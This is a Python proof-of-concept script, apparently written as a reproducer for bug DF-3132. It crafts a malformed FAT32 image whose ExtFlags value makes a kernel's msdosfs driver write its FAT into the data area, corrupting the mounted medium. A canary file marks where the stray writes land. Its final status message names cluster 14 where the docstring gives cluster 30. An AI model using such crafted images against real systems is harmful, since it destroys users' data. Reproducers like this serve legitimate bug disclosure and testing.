DF-3132 / craft_curfat.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 | #!/usr/bin/env python3 """ DF-3132 -- craft a FAT32 image with: bpbFATs = 1 (pm_FATs == 1) bpbExtFlags = 0x80|0x0F (FATMIRROR bit set -> pm_curfat = 15, pm_FATs never validated against it) mountmsdosfs (sys/vfs/msdosfs/msdosfs_vfsops.c:409-410) then sets pm_curfat = 15 while pm_FATs = 1, and fatblock() (sys/vfs/msdosfs/msdosfs_fat.c:87) computes bn += pm_fatblk + pm_curfat * pm_FATsecs for ALL FAT reads AND writes -> every FAT update on a RW mount lands 15*FATsecs sectors past the real FAT, i.e. inside the data area (kernel-mediated corruption of the mounted medium). Layout (64 MiB, 512B sectors, 8-sector FAT): resvd 32 (incl FSInfo@1 + backup@6), FAT @32 len 8, data @40, root dir = cluster 2 (sector 40). curfat=15 => FAT I/O @ sector 32 + 15*8 = 152 (data cluster 30 area). A canary file CANARY.BIN owns clusters 30..33 (sectors 152..167, where the misplaced FAT writes land), filled with 0xAA. """ import struct, sys BPS = 512 TOTSEC = 131072 # 64 MiB RESV = 32 NFATS = 1 SPC = 4 # 2 KiB clusters FATSEC = 8 MEDIA = 0xF8 FIRSTCL = RESV + NFATS * FATSEC # 40 def direntry(name, ext, attr, cluster, size, first=False): e = bytearray(32) e[0:8] = (name + ' ' * 8)[:8].encode() e[8:11] = (ext + ' ' * 3)[:3].encode() e[11] = attr struct.pack_into('<H', e, 20, cluster >> 16) struct.pack_into('<H', e, 26, cluster & 0xFFFF) struct.pack_into('<I', e, 28, size) if not first: e[0] = ord(name[0]) return bytes(e) def build(outpath): img = bytearray(TOTSEC * BPS) img[0] = 0xEB; img[1] = 0x58; img[2] = 0x90 img[3:11] = b'MSDOS5.0' struct.pack_into('<H', img, 11, BPS) img[13] = SPC struct.pack_into('<H', img, 14, RESV) img[16] = NFATS struct.pack_into('<H', img, 17, 0) # RootDirEnts=0 -> FAT32 struct.pack_into('<H', img, 19, 0) # Sectors16=0 img[21] = MEDIA struct.pack_into('<H', img, 22, 0) # FATsecs16=0 struct.pack_into('<H', img, 24, 32) # SPT struct.pack_into('<H', img, 26, 8) # heads struct.pack_into('<I', img, 28, 0) # hidden struct.pack_into('<I', img, 32, TOTSEC) # HugeSectors struct.pack_into('<I', img, 36, FATSEC) # BigFATsecs struct.pack_into('<H', img, 40, 0x80 | 0x0F) # ExtFlags: mirror bit SET, active FAT 15 <-- DF-3132 struct.pack_into('<H', img, 42, 0) # FSVers struct.pack_into('<I', img, 44, 2) # RootClust = 2 struct.pack_into('<H', img, 48, 1) # FSInfo sector struct.pack_into('<H', img, 50, 6) # backup boot sector img[510] = 0x55; img[511] = 0xAA # FSInfo fsi = BPS struct.pack_into('<I', img, fsi + 0, 0x41615252) struct.pack_into('<I', img, fsi + 484, 0x61417272) struct.pack_into('<I', img, fsi + 488, 0xFFFFFFFF) # free count unknown struct.pack_into('<I', img, fsi + 492, 0xFFFFFFFF) # next free unknown # backup boot @6: skip (msdosfs does not require it) # FAT: cluster chain fat = bytearray(FATSEC * BPS) fat[0] = MEDIA; fat[1] = 0xFF; fat[2] = 0xFF; fat[3] = 0x0F # eoc pattern for FAT32 media entries # root dir = cluster 2 -> 3 -> 4 -> 5 -> EOC (4 clusters = 8 KiB) def eoc(c): struct.pack_into('<I', fat, c * 4, 0x0FFFFFF8) def nxt(c, n): struct.pack_into('<I', fat, c * 4, n) nxt(2, 3); nxt(3, 4); nxt(4, 5); eoc(5) # CANARY.BIN = clusters 30..33 -> EOC (sectors 152..167 = the misplaced-FAT landing zone) nxt(30, 31); nxt(31, 32); nxt(32, 33); eoc(33) img[RESV * BPS:RESV * BPS + len(fat)] = fat # root directory @ cluster 2 (sector 40): 8 KiB, entries: # "." / ".." (self/parent) + CANARY.BIN (8 KiB at cluster 30) + slot end def putdir(cluster, entries): off = (FIRSTCL + (cluster - 2) * SPC) * BPS i = 0 for e in entries: img[off + i * 32: off + i * 32 + 32] = e i += 1 img[off + i * 32] = 0x00 root = [ direntry('. ', ' ', 0x10, 2, 0, first=True), direntry('.. ', ' ', 0x10, 2, 0), direntry('CANARY ', 'BIN', 0x20, 30, SPC * BPS * 4), # 8 KiB canary ] putdir(2, root) # canary data clusters 30..33 (sectors 152..167): 0xAA except the first # 8 sectors, which carry a COPY of the real FAT so the displaced FAT # reads (also via curfat=15) see a workable filesystem. for c in range(30, 34): off = (FIRSTCL + (c - 2) * SPC) * BPS img[off: off + SPC * BPS] = b'\xAA' * (SPC * BPS) img[152 * BPS: 160 * BPS] = img[RESV * BPS: (RESV + FATSEC) * BPS] with open(outpath, 'wb') as f: f.write(img) print("wrote %s: FATs=%d extflags=0x%04x -> pm_curfat=15; FAT@%d " "len %d; misplaced FAT I/O lands @ sector %d (data clusters 14+)" % (outpath, NFATS, 0x80 | 0x0F, RESV, FATSEC, RESV + 15 * FATSEC)) if __name__ == '__main__': build(sys.argv[1]) |